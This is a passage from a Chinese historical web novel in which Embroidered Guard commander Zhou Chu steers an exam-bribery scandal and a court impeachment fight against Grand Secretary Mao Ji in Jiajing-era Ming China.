甚至很多官员还会觉得醉仙楼背靠周楚,还会更安全一些。 所以醉仙楼的生意长久不衰,孙强也跟着赚的盆满钵满,孙强拿到的好处很多,他不敢独吞,其中七成都会给春兰,让春兰存入周府府库之中。 这一点孙强没有告诉周楚,不过春兰却是告诉周楚了的,对于表叔的做法,周楚很是欣慰,重点不在于这些财物,孙强这么做表明了一件事,他虽然爱财,却也能控制住贪心,而且任何事都是以周楚为主。 这样的人谁不喜欢,谁用着不放心? 孙强虽然说不要这些东西,但王沐从来都是人精,自己这个表弟可以不要,但自己不能不送。 “说的这是什么话,我可是听说过,你现在手眼通天,随便为那些富商引荐一下那些达官贵人,他们都得感恩戴德,我这算什么,你可一定要收着。” 王沐神情笃定道。 孙强听到这话,有些无奈的看了看王沐手中拿着的东西,都是一些价值不菲的玩意,以孙强的眼光自然是一眼就能看出来。 “表兄你先说说是什么事吧,我要是能帮到你再收,帮不到你的话,你拿着这些东西,再另找门路。” 孙强也没把话说死,虽说在孙强看来,自己这位表兄的事能有多大?只要自己肯开口,周楚肯定挥挥手就给办了。 但孙强更清楚,自己的这个表侄,从来都是嫉恶如仇的,虽说孙强了解自己的表兄王沐,他也没做过什么天怒人怨的事,哪怕是以前做人牙子的时候,虽然心比孙强狠了些,却也不会谋财害命。 但毕竟十年没联系了,孙强也不清楚这父子俩到底摊上了什么事,做过什么事,所以并没有把话说死。 “哎,这事说起来,都怪我一时糊涂。” 王沐懊恼道。 ..... 听完王沐的话,孙强明白了,这两位担心这次的事波及到他们王家。 按理说北镇抚司如此大张旗鼓,看上去事就小不了,要不要继续往下查,其实按照孙强的理解,是没那个必要的,毕竟如今在京城的那些仕子,光孙强知道的,通过孙强走门路的就不计其数。 真要都查办了,这次科举干脆就别办了。 而且这件事发生在科举之前,这些仕子虽然都走了门路,但毕竟没有造成舞弊的事实,孙强觉得多半不会深查这些仕子。 不过孙强也清楚,不深查不代表不查,这么多人明目张胆的走门路,总是要找几个倒霉鬼,用来杀鸡儆猴的。 所以孙强也不敢保证自己的这位表兄会不会有事。 不过王沐既然找到了孙强,孙强觉得这件事自己大概率可以帮他办,毕竟不是什么大事,但具体能不能办,还要先问一下周楚的意见。 “初六,你去少爷那里走一趟,把这件事和少爷说说,看看少爷是什么意见。” 孙强看着初六道。 当着其他人的面,孙强会和初六一般,称呼周楚为少爷,只有两人单独相处的时候,孙强才会叫周楚衡器。 初六听到这话,点了点头,刚才他在旁边,把王沐的话一字不漏的全都听了下来,转述给周楚自然是毫不费力。 初六离开后,王沐父子看着孙强,一脸疑惑。 “少爷是?” 王沐有些迟疑道。 “你们的这件事,少爷如果说能办,就没什么问题,少爷如果说不能办,整个京城也没人敢帮你们办了。” 孙强看着王沐,满含深意道。 之前孙强还不知道王沐父子找自己所求何事,还会让他们另求门路,但现在知道了是这件事,只要周楚不点头,整个京城也没人敢帮王沐父子。 毕竟这次查办百官,如此大张旗鼓,孙强很清楚背后就是自己的这个表侄。 孙强在醉仙楼能得到的消息很多,他自己也能分析出来一些,别的不用说,只看北镇抚司,就知道这件事背后是谁在主导了。 王沐父子听到这话,心中一凛,瞬间意识到孙强口中的少爷恐怕是通了天的大人物,心中顿时忐忑无比,再也不敢多问。 他们不清楚孙强口中的这位少爷对他们的事是什么看法,如同等待审判的犯人一般,如坐针毡。 好在周府离醉春楼本就不远,初六很快就回来了。 “少爷说让您带着他们去家里说。” 初六来到孙强面前道。 孙强听到这话,顿时露出了笑容,周楚既然这么说了,这件事算是应下来了,倘若周楚不想理,根本就没必要这么说。 只是孙强不明白的一点在于,王沐父子的事,对自己这个表侄而言不过是一件随手为之的小事,一句话就可以解决,为何还要如此郑重其事。 “这件事有门了,你们跟我来吧。” 孙强看着王沐父子道。 王沐和王瑛父子两人听到这话,顿时大喜过望。 王沐急忙将手中的东西放在了柜台上。 孙强则看都没看那些东西一眼,率先走出了醉仙楼,王沐父子急忙跟了上去。 初六则将柜台上的那些东西收了起来,醉仙楼孙强不在的时候,从来都是初六管事。 第299章 六朝何事,只成门户私计 孙强带着两人来到周府门前的时候,王沐和王瑛父子两人才意识到了孙强口中的少爷是谁。 锦衣卫指挥使周楚。 周府在京城很出名,虽然周楚一直都尽量低调,但周楚和陆家的事,早已广为流传,周府旁边就是陆府,两侯府并列,早已成为美谈。 王沐父子从十年前开始,就在京城置办下了一处不算大的宅子,也就是如今的王家,所以父子两人对于周府还是很了解的。 此时的王沐才恍然想起,醉仙楼背后似乎一直都是这位锦衣卫指挥使,只是无论是王沐还是王瑛了解到的,都是周楚早就不管醉仙楼的事了,醉仙楼也只是借着这位锦衣卫指挥使的名义罢了。 王沐实在是没想到,自己的这个远房表弟,居然还能和这位通天的大人物递得上话。 此时王沐才恍然大悟,怪不得刚才孙强说他们的事如果这位不点头,整个京城就没人敢替他们办了。 可不是嘛,这位可是锦衣卫指挥使,如今让整个京城人心惶惶的北镇抚司,就是这位的手下,这位要是不点头,还真没人敢应承他们。小說中文網 眼看着是周府,王沐父子急忙低下头,不敢多看,甚至不敢抬头,生怕看到了什么不该看的。 王沐这么大年纪,头一次见这么大的人物,心中的压力可想而知,孙强走在前面的脚步声如同一个个鼓点一般,敲击在他的心头,整个世界仿佛没了其他声音,只剩下孙强的脚步声。 “表兄不必紧张,少爷既然肯见你们,就算是应了你们的事,你们的事本身就不是什么大事。” 孙强看着身后的王沐满头冷汗的模样,出言宽慰道。 虽然孙强这么说,可王沐紧张的心情没有丝毫减轻,他紧张不是因为他们的这件事,而是因为周楚的身份。 他不过是混牙行出身的,他儿子如今是个举人,已经是他们王家祖坟冒青烟了,以前见过的最大的人物也只是一个四品官,就这当时他都感到很有压力。 更不用说现在要见的是锦衣卫指挥使周楚,那个传说中像活阎王一般的存在。 不只是王沐,王瑛更是紧张,如果说王沐面对周府的紧张只是源于对周楚身份上的紧张,那么王瑛的紧张则来自于他对周楚的认知。 不入仕之人,永远体会不到周楚这位锦衣卫指挥使有多恐怖,只有入仕了,当了官,面对周楚的时候,才发现以前自己对他的看法完全不对,入了仕才发现这位锦衣卫指挥使远不像之前以为的那么简单。 官职越高越能体会周楚的恐怖之处。 王瑛虽然还未入仕,但常年生活在京城之中,对于周楚的很多传闻知之甚详,特别是这次的这件事,如果说背后没有这位,打死王瑛都不信。 百官说抓就抓,这些官员任何一个对他们而言,都是大人物,平日里想见都见不到,但在这位锦衣卫指挥使眼里,可能只是网里的一条鱼罢了。 王瑛甚至不敢细想,越想他就越害怕,觉得眼前的周府是龙潭虎穴。 如今的周府外表看上去不怎么起眼,但里面却是相当的大,两人跟着孙强走了许久,才来到了后院之中,周楚的书房。 王沐和王瑛父子全程不敢抬头。 “表叔,以后这种小事,直接和我说一声就行,只要不是欺男霸女,天怒人怨的,都是小事。” 周楚看着孙强,说道。 周楚当着两人的面这么说,就是为了给孙强面子。 对于王沐和孙强的关系,自然是瞒不过锦衣卫的,周楚只要一问,就会有人拿着关于王沐父子的所有卷宗出现在周楚面前。 “少爷说的哪里的话,能不给少爷添麻烦,还是不要添麻烦的好,否则以后就会有无数亲朋好友找上门来。” 孙强笑道。 周楚听到这话,满意地点了点头。 一旁的王沐父子此时心中无比震惊,他们怎么都没想到,孙强和周楚居然是这种关系,同时心中狂喜,有了这层关系,他们的事还算事吗? “你们的事我听初六说了。” 周楚从旁边的婢女手中接过茶杯,喝了一口茶道。 “小人之前不知深浅,一时糊涂,才想着为犬子走走门路,还望大人恕罪。” 王沐说这话的时候,头更低了。 “我看了看关于你的卷宗,你们父子倒是没做过什么太坏的事,不过接受了很多百姓的土地,回头让人去告知那些百姓,任何百姓想要拿回他们土地的,可以直接把地契还给他们,不想拿回的,你们就继续拿着,能办到吗?” 周楚看着王沐道。 周楚不希望自己帮了王沐父子,回头他们却成了新的士绅,欺压百姓,这从来都不是周楚想看到的。 这个王瑛,倒也是个可塑之才,将来高中之后,倒也可以为皇上所用。 周楚可以查办一茬又一茬的官员,但倘若找不到更好的替换,终究不过是无用功罢了。 这也是为何周楚特意将王沐父子两人叫过来的原因。 “小人回去就办,一定按大人说的去办。” 王沐急忙说道。 周楚听到这话,点了点头,看向了一旁的王瑛。 “你为何读书,为何科举?” 周楚问道。 王瑛听到这话,心中一震,这话如果是其他人问,他或许会说一些冠冕堂皇的话,说什么为了大明,为了天下百姓。 但问这话的是周楚,是锦衣卫指挥使,王瑛甚至不敢有丝毫隐瞒的心思。 “回大人的话,学生读书,科举,都是为了光耀门楣,光宗耀祖,让王家上一个台阶。” 王瑛如实回答道。 周楚听到这话,看着眼前的王瑛,看了许久,在王瑛身上,周楚仿佛看到了天下所有的仕子一般。 “六朝何事,只成门户私计!” 周楚叹了口气道。 说完这话,周楚顿觉无趣,摆了摆手,示意几人退下。 王瑛听到这话,心中很是恐慌,因为他从中听出了这位大人对自己的失望。 王沐父子跟着孙强离开了周楚的书房。 “我们家的事.....” 王沐一头雾水道。 “你们的事对少爷来说不过是芝麻绿豆大的小事,少爷叫你们来的时候,你们就没事了,少爷想来想考教一下文瑾,不过看少爷的神情,似乎对文瑾很不满意。” 孙强无奈道。 王沐听到这话,顿时喜忧参半。 王瑛听到这话,更是心中一惊。 第300章 科举舞弊案,夏言对自己的狠 “表兄,我和少爷的关系这京城之中极少有人知道,一旦被其他人知道,我就会有很多麻烦....” 刚出了周楚,孙强意有所指道。 “这件事我们一定会烂在肚子里,我婆娘都不告诉。” 王沐生怕孙强多想,急忙保证道。 孙强点了点头,并不怀疑王沐这话的真实性。 孙强很清楚,能让自己表兄保密的是衡器的权势,而不是那所谓的保证。 周楚身为锦衣卫指挥使,王沐父子但凡敢把这个消息泄露出去,想要瞒过锦衣卫指挥使,简直是个笑话。 “那就在这里别过吧,我还要回醉仙楼忙生意。” 孙强抱拳行礼道。 王沐父子看到孙强行礼,顿时受宠若惊,急忙回礼,特别是王瑛,回了个晚辈礼,腰都快弯成九十度了。 “你以后要想在仕途上走的更远,不妨将眼光和格局放大一些,不要只盯着你们家那点事。” 孙强拍了拍王瑛的肩膀,叹了口气道。 孙强说完这话转身就离开了,王瑛则陷入了沉思。 “爹,你说表叔这话是什么意思?” 王瑛看着一旁的王沐,满脸不解道。 “你读了这么多书都不懂,我怎么懂?你回去多想想,你表叔既然这么说,肯定是有道理的。” 王沐慎重道。 王瑛听到这话,若有所思地点了点头。 “没想到你这个表叔能有这般际遇,他和周大人的关系你一定要保密,否则一旦传出去,周大人肯定能查到。” 王沐前半句还在感慨,后半句却是极其严肃。 “放心吧爹,我知道轻重。” 王瑛有些无奈道。 王沐听到这话,点了点头,对于自己这个儿子,他一向是放心的,很多事王瑛处理的都要比他好,看的比他透彻。 王沐父子两人没事了,不代表其他人没事,这么多仕子想要走捷径,倘若不杀一儆百,以后这种风气就会屡禁不止。 “大人,这是那些官员招供的仕子名单。” 陆万山来到周府,将一个册子递给周楚。 周楚打开看了看,拿起毛笔,根据这些仕子送礼的轻重,从上往下勾选,总共勾选了十来个,然后将册子扔在了书案上。 “按名单抓人吧。” “属下这就去办。” 陆万山拿起册子,转身离开了书房。 “子升,大事不好了,少宁被北镇抚司的人抓走了。” 徐阶正在客栈的房中读书,他的一个同窗好友慌忙推开他的房门,一脸的心有余悸。 徐阶听到这话,将手中的书放下。 “为何被抓?” 徐阶内心已经有了些许猜测,但还不太确定。 他那个好友走的正是礼部侍郎杨廉的门路,给的钱财极多,最近这些天京城之中风声鹤唳,杨廉等一众官员都被抓了。Www.XSZWω8.ΝΕt 徐阶可不认为杨廉这些官员会为了他们这些仕子死咬着不放。 不过这次走门路的仕子很多,比以往都多,主要是因为前些时日,那些仕子们将毛纪和杨廉吹的神乎其神,似乎只要和这两人攀上关系,科举就稳了一般。 烈火烹油,总有炸的一天,徐阶一直都明白这个道理,所以他没去凑这个热闹,即便是之前他的朋友叫他一起,他都拒绝了。 “估计是因为礼部侍郎杨廉。” 徐阶的同窗满脸后怕道。 “怎么办?我也去杨府走了门路,北镇抚司不会也来抓我吧?” 此人看着徐阶,满脸无助道。 他可不认为自己去杨府这件事能瞒得过北镇抚司。 “不必过于担心,去杨府走关系的仕子如同过江之鲫,数不胜数,朝廷不可能全都查办,只会杀鸡儆猴罢了,你送的钱财应该不多吧?” 徐阶看着自己的这个同窗,问道。 此人听到这话,点了点头。 “我家的情况你也知道,和少宁的家境是没法比的。” “那就没什么问题,不用着急,该如何还如何,安心备考就行,至于少宁,恐怕以后无缘科举了。” 徐阶叹了口气道。 自古以来,科举舞弊案,要么不抓,一旦被抓住,基本都是从严处置的,像唐伯虎,即便没有任何证据,最后证明他是清白的,也是终生禁考。 那人听到这话,顿时松了口气,正所谓死道友不死贫道,只要这把火烧不到他身上,他就完全不担心了。 之前火急火燎的,就是怕这件事波及到自己身上。 北镇抚司按照周楚给的名单抓了十几个人。 这十几个仕子是北镇抚司抓的,抓完之后就把人和相关的证据移交给了顺天府。 因为这种案子从来都不是北镇抚司该办的。 顺天府尹徐番,和周楚也是老相识了,徐番已经年过六十,已经在顺天府尹的位置上待了近十年了。 “徐大人,我们大人可说了,他和你是老相识,所以这个案子才会交给你来办,否则直接移交其他衙门了。” 陆万山将人移交给顺天府之后,看着眼前的徐番,若有所指道。 徐番听到这话,冷汗都下了来,当年周楚还是个小商人的时候,每次找他办事,他可没少收周楚的好处。 他怎么都没想到,以前那么一个小商人,转眼之间摇身一变,变成了锦衣卫指挥使,这让徐番每每想起,都冷汗直流。 他甚至不敢去周府走门路,也不敢提起和周楚之前的交情,毕竟周楚为了办一件事,往往要将整个顺天府疏通一遍。 徐番为官多年,早已人老成精,他很清楚,这个时候周楚不主动提起和自己过往的交情,自己千万不能主动找不自在,否则自己将面对的绝不是平步青云。 “那都是多少年前的事了,下官以前就觉得周大人是人中龙凤,将来肯定非同一般。” 徐番满脸堆笑道。 他说这话的时候,顺手将几张银票不着痕迹地放在了陆万山手中。 “多谢周大人看得起下官,多谢陆大人给我顺天府这个机会,还望大人能帮下官在周大人面前美言几句。” 徐番赔笑道。 陆万山看了一眼银票的面值,心满意足地收入了怀中。 “放心吧,徐大人能在顺天府尹这个位置上待这么多年,本就不是一般人,这个案子办好了,徐大人说不定还能再往上动一动。” 陆万山笑道。 徐番听到这话,眼睛顿时亮了。 陆万山没有再和徐番磨叽,转身离开了顺天府。 离开顺天府之后的陆万山,并没有回北镇抚司,而是去了周府。 “大人,这是徐宣之送给属下的。” 陆万山将徐番送给他的银票一张不少的全都放在了周楚面前。 周楚随意看了一眼,一共是五张皇家钱庄的银票,每一张的面值都是一千两。 徐番也算是下了血本了。 想想也是,当初自己没少往顺天府送钱,徐番多半是想通过这个机会将之前自己送的钱加倍还回来。 这还只是个开始,徐番这种能在顺天府尹的位置上待这么多年的老狐狸,眉毛都是空心的,他这么做,一方面是为了自保,另一方面也是想着趁着这个机会和自己攀上关系,看看能不能再往上挪一挪。 周楚将其中三张银票收入怀中,剩下的两张没动。 “这些你收着吧。” 陆万山听到这话,顿时面露喜色,将剩下两张银票收了起来。 “属下多谢大人赏赐。” 不得不说,在做官这方面,能在京城混的,特别是能混到北镇抚司镇抚使这个位置上,陆万山也是个人精。 该做什么,该说什么,他都十分清楚,从不会有一丝僭越。 这两千两也不全是他的,回头他还要拿出一部分请手下去喝喝花酒,只有这样,手下的人才会对他忠心耿耿。 “属下告退了。” 陆万山行礼之后,离开了周府。 另外一边,顺天府,科举舞弊案正式通过徐番之手爆了出去。 说是科举舞弊案有些不太准确,毕竟此时距离科举开始还有一个月左右,要说科举舞弊倒也算不上,但这么多仕子走礼部侍郎杨廉的门路,送了这么多钱财,倒也可以归为科举舞弊案。 任何一个人,一旦沾上科举舞弊,结果肯定没好。 徐番有了陆万山那句话,如同老树发新芽,整个人就像是打了鸡血一般,无比亢奋,审讯这些仕子的时候毫不留情,甚至为了对其他仕子造成足够的威慑力,徐番还选择了公开审讯。 这个消息一出,无数仕子纷纷涌入顺天府衙之中,想要观摩这次科举舞弊案的审讯过程。 其中就包括王沐父子。 此时的王沐父子虽然已经平安无事,但看到这十几个被抓的仕子,仍然感觉无比后怕。 徐番也没有让周楚失望,对于这些仕子,一个个都从严处置,基本都是判流放,终生禁考。 这个结果,让所有观看的仕子头皮发麻,特别是那些同样走了门路却没被抓的仕子们,一个个全都无比庆幸,幸亏自己送的钱财不够多,否则自己也会和这十几位是一样的命运。 杨廉等一众官员被抓的结果还没出来,科举舞弊案就引爆了整个京城。 京城百姓茶余饭后谈论的都是科举舞弊案,谁谁被抓了,多倒霉之类的。 “夫人,之前多亏你阻止了我,否则我也要去杨廉府上走门路了。” 孙娇娇的相公看着孙娇娇,一脸后怕道。 “走什么门路?早就和你说了,这个礼部侍郎不把衡器放在眼里,迟早要完蛋。” 孙娇娇冷哼道。 孙娇娇阻止自己的相公,并不是因为看到了什么,而是出于对周楚的迷信,现在的周楚在孙娇娇眼中已经无所不能了。 不把周楚放在眼里的人,又能有什么好结果呢。 “是啊,还是夫人看的长远,我太鼠目寸光了。” 孙娇娇的相公感慨道。 科举舞弊案一爆发,嘉靖作为皇帝,自然该震怒,于是让人通知百官,明日重启朝会,好好谈一谈科举舞弊案。 第二天的朝会,少了很多人,不过毛纪和夏言都在,夏言干脆直接闭目养神,当个透明人,他生怕此时自己被人注意到,特别是同样位居朝堂的周楚。 虽然夏言清楚周楚这个锦衣卫指挥使从头到尾没憋好屁,但这一次周楚的手段还是让他大开眼界。 周楚甚至可以说没做什么事,不过是在暗中推波助澜罢了,周楚似乎知道每一个人的想法,既能藏拙骗过毛纪和杨廉,又能对杨一清这个内阁首辅加以引导利用。 夏言甚至不敢细想,想得越多,越觉得周楚可怕。 如果说一年前夏言害怕周楚,是怕他乱来的话,那么现在夏言对周楚的怕,则是另外一种。 这个世上怎么会有这么可怕的人,偏偏他还是个少年,熬又熬不过,这让夏言感到前所未有的无力。 夏言想装死,嘉靖却不会让他如意。 “公谨,说说吧,怎么回事?杨方震作为你们礼部的侍郎,做的这些事,你这个礼部尚书不会一点都不知道吧?” 嘉靖看着夏言,面若寒霜道。 “陛下,臣冤枉啊,臣这大半个月的时间,身子骨一直不怎么好,大夫说是和夫人行房事太过频繁,导致身子大不如前,这段时间臣一直在家将养着,从未出门,也未见过任何客人。” 夏言不得已,编了个理由来抹黑自己,他很清楚,只有这样,让皇帝和百官一笑,自己才能从这件事中全身而退。 否则杨廉作为礼部侍郎,做事这么离谱,要说他不知道,谁也不信。 果然,听到这话,朝堂上的官员全都是一副想笑不敢笑的表情偷偷看着夏言。 夏言也是豁出去了,脸一别,直接无视了所有人调侃的目光。 嘉靖也没想到夏言会对自己这么狠,来了这么一出,一时之间居然不知道说什么了。 “毛维之,那你怎么说?杨廉可是你的学生,朕可是听说他做这些事都是打着你的旗号。” 嘉靖沉默了一会,看向一旁的毛纪道。 毛纪此时已经好几天没睡好觉了,他神情极为疲惫地站了出来。 “陛下,杨方震确实是臣的学生,臣也是这两天刚知道他居然打着我的名号在外面做下这等天怒人怨之事,简直是罪不可恕!” 毛纪义愤填膺道。 第301章 对杨一清的弹劾,六科的战斗力 “这些仕子,一个个想着的都是如何走门路,此风一开,科举岂不成了笑话?科举本是抡才大典,要都这么搞,以后我大明的官员岂不是都是草包?” 嘉靖看着满朝文武,怒斥道。 嘉靖并没有揪着毛纪不放,毛纪再怎么说也是阁老,到了他这个位置,不管做了什么事,都会做的很干净,就算杨廉什么都招了,也没什么切实的证据指向毛纪,毛纪做事向来滴水不漏,对杨廉的做法都是采取默认和暗示的方式。 即便杨廉的证词真的能指向这位阁老,皇帝和其他人也不会以这种罪名扳倒毛纪。 一旦入了内阁,就算是被弹劾了,有很多罪状,大多数也都会告老还乡。 大明的官员从来都分两种,入了内阁的和没入内阁的。 有明以来,或者说内阁出现之后,就没听说过哪个内阁首辅被杀的,当然,周楚原本历史上的夏言除外。 由此可见,夏言多次火烧嘉靖,彻底惹怒了这位皇帝。 不过这次周楚却没准备放过毛纪。 周楚很清楚,大明的这些官员之所以敢如此肆无忌惮,原本历史上的徐阶当上内阁首辅没几年,整个华亭县的地基本都入了他们徐家,几十万亩的地,想想都恐怖。 由此可见徐阶当权的时候,是何等的肆无忌惮,根本连掩饰都懒得掩饰,徐家的子弟恨不得时时刻刻都在捞钱。 徐阶和徐家之所以有这样的底气,就是因为内阁首辅只要不像夏言那般不知深浅,想多次刺杀皇帝,基本都会善终,既然如此,他们又有什么心理压力呢? 说白了,大明对这些文官,特别是对入了内阁的官员,实在是太过宽容了,过于宽容放纵的结果换来的不是感恩,而是肆无忌惮。 嘉靖原本对毛纪该如何处置还有些犹豫,听完了周楚说的之后这才意识到问题的严重性。 嘉靖这才明白,宽容不能让这些文官老实。 不过嘉靖也明白,想通过科举舞弊这个案子扳倒毛纪,却也不太现实。 嘉靖的话让文武百官噤若寒蝉,都不敢出声,所有人都清楚,皇帝此时不过是在借题发挥,敲打他们罢了,这个时候如果谁出来触霉头,那面临的就是雷霆之怒。 眼看着没人说话,嘉靖也是心满意足。 “陛下,臣要弹劾内阁首辅杨应宁,杨应宁私自调拨北镇抚司的人马,到处抓人,前些日子弹劾他的那些同僚,全都被北镇抚司的人抓走了,他杨应宁难道想独断朝纲不成?” 眼看着嘉靖的火发的差不多了,毛纪直接出列道。 毛纪是个擅长扣帽子的,一个朝纲独断的帽子扣了过去,一般人还真接不住,当时就阵脚大乱了。 但杨一清是谁,根本看都不看毛纪一眼。 “哦?还有此事?朕只知道那杨方震被抓了,其他人朕倒是不知道,这些天朕一直在沐浴焚香,为天下百姓祈福,倒是没怎么关注。” 嘉靖一脸惊讶道。 “石淙,可有此事?” 嘉靖说着转头看向了杨一清,问道。Www.XSZWω8.ΝΕt 杨一清听到这话,才不疾不徐的出列。 “回禀陛下,确有此事,不过臣可不敢独断朝纲,臣只是查明了这些官员一个个贪墨严重,而且滥用职权,徇私枉法,这些北镇抚司皆已查明,证据充足,臣作为内阁首辅,自然要肃清我大明的蛀虫,这才找周大人借了北镇抚司的人马。” 杨一清耷拉着眼皮说道,可谓镇定自若。 “臣私自找周大人借调北镇抚司的兵马,确实有些僭越,臣是知罪的。” 杨一清低头道。 该承认的错误,杨一清还是要承认的,他总不能说这不是和陛下商量好了吗? 嘉靖听到这话,点了点头。 “这事倒也不能全怪你,这些天朕确实什么人都不见,你想跟朕说也没办法,朕听黄锦说你和毛维之都来皇宫之中想要见朕,这倒是朕的不是了。” 嘉靖直接给了杨一清台阶下。 “陛下!这天下哪有不是的君父,这件事确实是臣的错,臣自当认罚。” 杨一清说这话的语调都高了几分。 毛纪看到如此君臣相宜的一幕,内心无比腻歪,心想这两人演什么呢?杨一清调动北镇抚司的兵马皇帝能不知道? 不过想归想,这话毛纪是万万不敢说出来的。 “陛下,臣以为首辅大人做的这件事乃是利国利民之事,敢冒天下之大不韪,清除朝中的蛀虫,实乃家国之幸。” 杨慎出列道。 杨慎很少替杨一清说话,不过杨慎从来都是对事不对人,杨一清做的这件事确实让他佩服,所以他才会站出来为杨一清说话,说的这话也是真心实意,并无半分虚假。 要知道杨一清清楚的这些,可不是普通的贪官,而是要攀附于毛纪的官员,一旦让这些人形成一个巨大的集团,大明的朝局又会陷入以前的怪圈。 这不是嘉靖想看到的,也不是杨慎想看到的。 “陛下,臣也觉得首辅大人此举大善,倘若人人都独善其身,不想沾惹这些事,我大明的蛀虫只会越来越多,如今京城正在实行考成法,所有同僚的俸银都得到了很大的提升,这些人不思君恩,反而想着怎么玩忽职守,怎么压榨百姓,将大明律置于何地?” 韩玠出列,义正言辞道。 虽说大明律很多条例到了如今都已经名存实亡了,但大家可以这么做,却不能这么说,所以韩玠可以名正言顺的拿出大明律说事。 随着杨慎韩玠出来为杨一清说话,越来越多的官员纷纷出列。 他们算是看明白了,内阁首辅杨一清和皇帝是一伙的,这次抓了这么多人,要说背后没有皇帝,他们是不信的。 这个时候还不站出来表忠心,那什么时候表忠心? 毛纪眼看着形势不太对,看向了一旁六科的官员。 六科官员不同于其他官员,他们不需要站队,抓住机会就可以弹劾。 “陛下,臣以为首辅大人此言大谬,有明以来,没听说过哪个首辅大人干这种事,这些事本就是锦衣卫的职责,臣要弹劾锦衣卫指挥使周楚玩忽职守。” 一个六科的官员站出来道。 有了此人打头,六科的官员一个个如同被打了鸡血一般,开始一个个站出来了。 “陛下,臣也认为首辅大人僭越了,本不该他管的事,他却要伸手,毛大人说的没错,难道首辅大人想要朝纲独断不成?” “满朝文武,只有那些被抓的同僚贪墨吗?首辅大人抓的这些人,可都是之前弹劾过他的,他这么做,莫非是在排除异己?” ....... 六科官员的战斗力是很强的,他们硬是将原本对杨一清十分有利的局势扳了回来。 嘉靖听完这些话,再次看向杨一清。 “石淙,你还有什么话好说的?” 第302章 毛纪的诡辩,周楚的诛心之言,谢迁的绝杀 “陛下,老臣都这个年纪了,还能有什么野心?排除异己?臣如果要排除异己的话,这满朝文武对臣而言的异己,这一年多,臣不结党,不营私,登门拜访的同僚,除了寥寥几个好友之外,臣也全都不见。” 杨一清出列道。 “反倒是毛维之毛阁老,臣听闻那杨方震就是他一手提拔上来的,臣抓的这些官员,贪墨只是一方面,他们还都攀附于杨廉,结党营私,罪不可恕,不过臣很疑惑,杨方震不过是区区一个礼部侍郎,三品官罢了,这些人为何会攀附于他?难不成杨方震背靠的正是咱们这位毛阁老?” 杨一清看着毛纪,说话的语气虽然很慢,但一字一句,却都敲击在毛纪的心头。 “臣也很不解,为何这满朝文武的仕子,走门路走的都是杨方震这个礼部侍郎,而不是夏大人这个礼部尚书,难不成他们认为走杨方震的门路比走夏大人的门路还好?” 杨慎也出列道。 “这杨方震可是毛阁老的学生,原本在南直隶任礼部侍郎,多年不得升迁,毛阁老一句话,他就成为了礼部侍郎,而且最近这些天,毛阁老在内阁之中,频繁提拔官员,提拔的这些官员,还都在首辅大人抓的这些人之中,要说这些人和毛阁老没关系,臣是不信的。” 一直保持沉默低调的内阁成员贾咏,此时也站了出来,开始阴阳起了毛纪。 这些天在内阁之中,贾咏早就对毛纪如此无法无天的做法看不过眼了,不过当时形势比人强,他也不好多说什么,只能保持沉默。 贾咏突然出来说这话,让毛纪有些措手不及,贾咏在内阁之中一直属于老好人,没什么存在感,没想到这个时候突然出来捅了自己一刀,这让毛纪猝不及防。 “臣对毛阁老这段时间频繁提拔官员的事也是有所耳闻,这种提拔的频率似乎有点太高了,而且毛阁老提拔的人偏偏都是攀附于杨方震的,要说杨方震做的那些事没有毛阁老的授意,臣是不信的,毛阁老说首辅大人想要朝纲独断,可臣也未曾见过他提拔哪些官员,哪个想朝纲独断的权臣不提拔一个自己人?倒是毛阁老,提拔这么多人,到底想要干什么,莫非真正想要朝纲独断的,是你?” 周楚沉默了半天,这才出列道。 周楚的话,犹如一记绝杀,刺入毛纪的心脏。 嘉靖听这话,很配合的脸色一变,看向了毛纪。 “毛维之,之前朕还奇怪,你们内阁这大半个月不断地跟朕上折子,频繁提拔那些官员,原本朕以为这些都是你们内阁拟了票的,也就没多想,难不成这些人都是你提拔的?” 毛纪的养气功夫完全不如杨一清,而且此时他面临的局势要比杨一清凶险的多,稍有不慎,就会万劫不复。 毛纪不着痕迹地看向夏言,夏言仍然在闭目养神装死,毛纪叹了口气,有些后悔之前没听夏言的话,此时夏言明哲保身,他也理解。 毛纪又看向了一旁的谢迁,谢迁给了一个毛纪放心的眼神,这让毛纪多多少少松了口气,再怎么说,内阁之中,还有谢迁这位定海神针站在自己这边,问题应该不大。 “陛下,这些官员的名单都是杨方震递给臣的,臣也切实考察过,这些官员在他们原本的任上,也都是做的相当好的,都是很有能力的,至于首辅大人说的贪墨一事,臣确实是不知情啊,臣事先没有调查清楚,确实是臣失察,臣知罪。” 毛纪避重就轻道。 毛纪还不敢说这天下的官员又有几个不贪墨的,这属于潜规则,不能拿到明面上来说,他不这么说,或许还有救,这话一旦说出口,他将面临的是满朝文武的攻讦。 孰轻孰重,毛纪还是分的清的。 “至于周大人说的臣要朝纲独断,更是子虚乌有,臣和周大人无冤无仇,周大人为何要如此污蔑于我?” 毛纪说这话的时候,一脸委屈地看着周楚。 “陛下,臣以为毛阁老也不过是被那杨方震蒙蔽了,杨方震此人,一向是巧舌如簧,死的都能说成活的,毛阁老当初提拔杨方震,恐怕也是没看清此人,至于周大人说的那些事,臣认为纯属子虚乌有。” 毛纪的一个好友出列替他说话。 此人并非是攀附于毛纪的,只是平日里经常和毛纪一起下棋,两人的关系很不错,此时看到毛纪被这么多人攻讦,他自认为了解毛纪的为人,觉得毛纪不可能是周楚说的那般不堪,这才出来为毛纪说话。 “毛阁老一向老成持重,为国为民,杨方震作为他的学生,毛阁老偏听偏信,被那杨方震蒙蔽了,也是在所难免的。” 毛纪的另一个好友站了出来,为他说话道。 哪怕是再烂的人,也会有三两好友,更何况毛纪在做人做事这方面,从来都是面面俱到的。 所以此时仍然有不少人愿意站出来为毛纪说话。 不过站出来的这两人,明显没什么政治智慧,也没什么眼色,或许能看到一些,不过出于道义,他们觉得此时自己该站出来替毛纪说话,于是就站了出来。 他们所求的,也只是念头通达罢了。 不过这是朝堂,在朝堂上想要追求念头通达,往往是要付出代价的。 “你这话说的好生矛盾,你都说了毛阁老老成持重,又岂会被杨方震蒙蔽?更何况毛阁老难道不知道这么短时间内提拔这么多官员,本就极为不妥吗?” 另一个官员站了出来反驳道。 “陆万山,那杨方震可曾说了什么?” 嘉靖看着陆万山道。 一般而言,陆万山是不需要上朝的,不过这次朝会显然不一般,自然缺不了他这个北镇抚司镇抚使。 “陛下,杨方震说他做的这一切,都是为了毛大人,毛大人虽然嘴上没有明说,但每次杨方震都会在毛大人面前主动提这些事,毛大人从未反对过。” 陆万山躬身道。 此言一出,毛纪脸色再变,他没想到自己的这个学生,把自己卖的这么彻底。 他有些求助似的看向谢迁。 